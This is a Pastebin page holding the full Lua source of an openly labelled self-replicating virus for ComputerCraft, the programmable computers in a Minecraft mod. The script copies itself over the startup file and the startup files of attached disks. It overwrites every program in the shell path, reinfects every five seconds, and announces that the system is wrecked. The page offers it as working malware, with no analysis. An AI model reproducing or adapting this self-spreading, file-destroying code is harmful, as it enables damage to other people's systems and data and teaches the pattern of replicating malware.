Advertisement
Guest User

CompVirus.lua

a guest
Sep 18th, 2014
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.95 KB | None | 0 0
  1. local xpayload = [[
  2. -- evalquine resident ComputerCraft virus
  3. -- by GreaseMonkey, 2012-04-04
  4.  
  5. local payload, xshell
  6. payload, xshell = ...
  7.  
  8. local function wreck_everything()
  9. local function split(s,token)
  10. local l = {}
  11. local pos = 1
  12. while pos <= #s do
  13. local npos = string.find(s,token,pos,true)
  14. if npos == nil then
  15. break
  16. end
  17. l[#l+1] = string.sub(s,pos,npos-1)
  18. pos = npos+1
  19. end
  20. l[#l+1] = string.sub(s,pos)
  21. return l
  22. end
  23.  
  24. local function infect_startup_unsafe(xto)
  25. if fs.exists(xto) then
  26. fs.delete(xto)
  27. end
  28. local fp = io.open(xto,"w")
  29. fp:write("local xpayload = [".."[\n")
  30. fp:write(payload)
  31. fp:write("]".."]\nloadstring(xpayload)(xpayload,shell)\n")
  32. fp:close()
  33. end
  34.  
  35. local function infect_startup(xto)
  36. local r,s
  37. r,s = pcall(infect_startup_unsafe, xto)
  38. if not r then
  39. print("FAIL "..xto..": "..s)
  40. end
  41. end
  42.  
  43. -- infect /startup
  44. infect_startup("startup")
  45.  
  46. -- infect any disks
  47. -- based on code in /rom/programs/shell
  48. for k,side in pairs(redstone.getSides()) do
  49. if disk.isPresent(side) then
  50. local target = disk.getMountPath(side)
  51. infect_startup(fs.combine(target,"startup"))
  52. end
  53. end
  54.  
  55. -- wreck everything in shell.path
  56. local spath = xshell.path()
  57. --local spath = ".:/rom/programs:/rom/programs/turtle:/rom/programs/computer:/rom/programs/http"
  58. for k,p in ipairs(split(spath,":")) do
  59. local pref = string.sub(p,1,1)
  60. if pref == "/" or pref == "\\" then
  61. for k,name in ipairs(fs.list(p)) do
  62. -- try to infect the file in question
  63. local r = pcall(infect_startup_unsafe, fs.combine(p,name))
  64. if not r then
  65. -- we couldn't infect it - infect it in the root instead.
  66. infect_startup(name)
  67. end
  68. end
  69. end
  70. os.sleep(0.05)
  71. end
  72.  
  73. end
  74.  
  75. local function wrecker()
  76. while true do
  77. os.sleep(5)
  78. wreck_everything()
  79. end
  80. end
  81.  
  82. -- call wreck_everything
  83. wreck_everything()
  84. print("This system is wrecked")
  85.  
  86. -- now bring up a shell
  87. parallel.waitForAll(
  88. wrecker, function()
  89. xshell.run("/rom/programs/shell")
  90. end
  91. )
  92. ]]
  93. loadstring(xpayload)(xpayload,shell)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement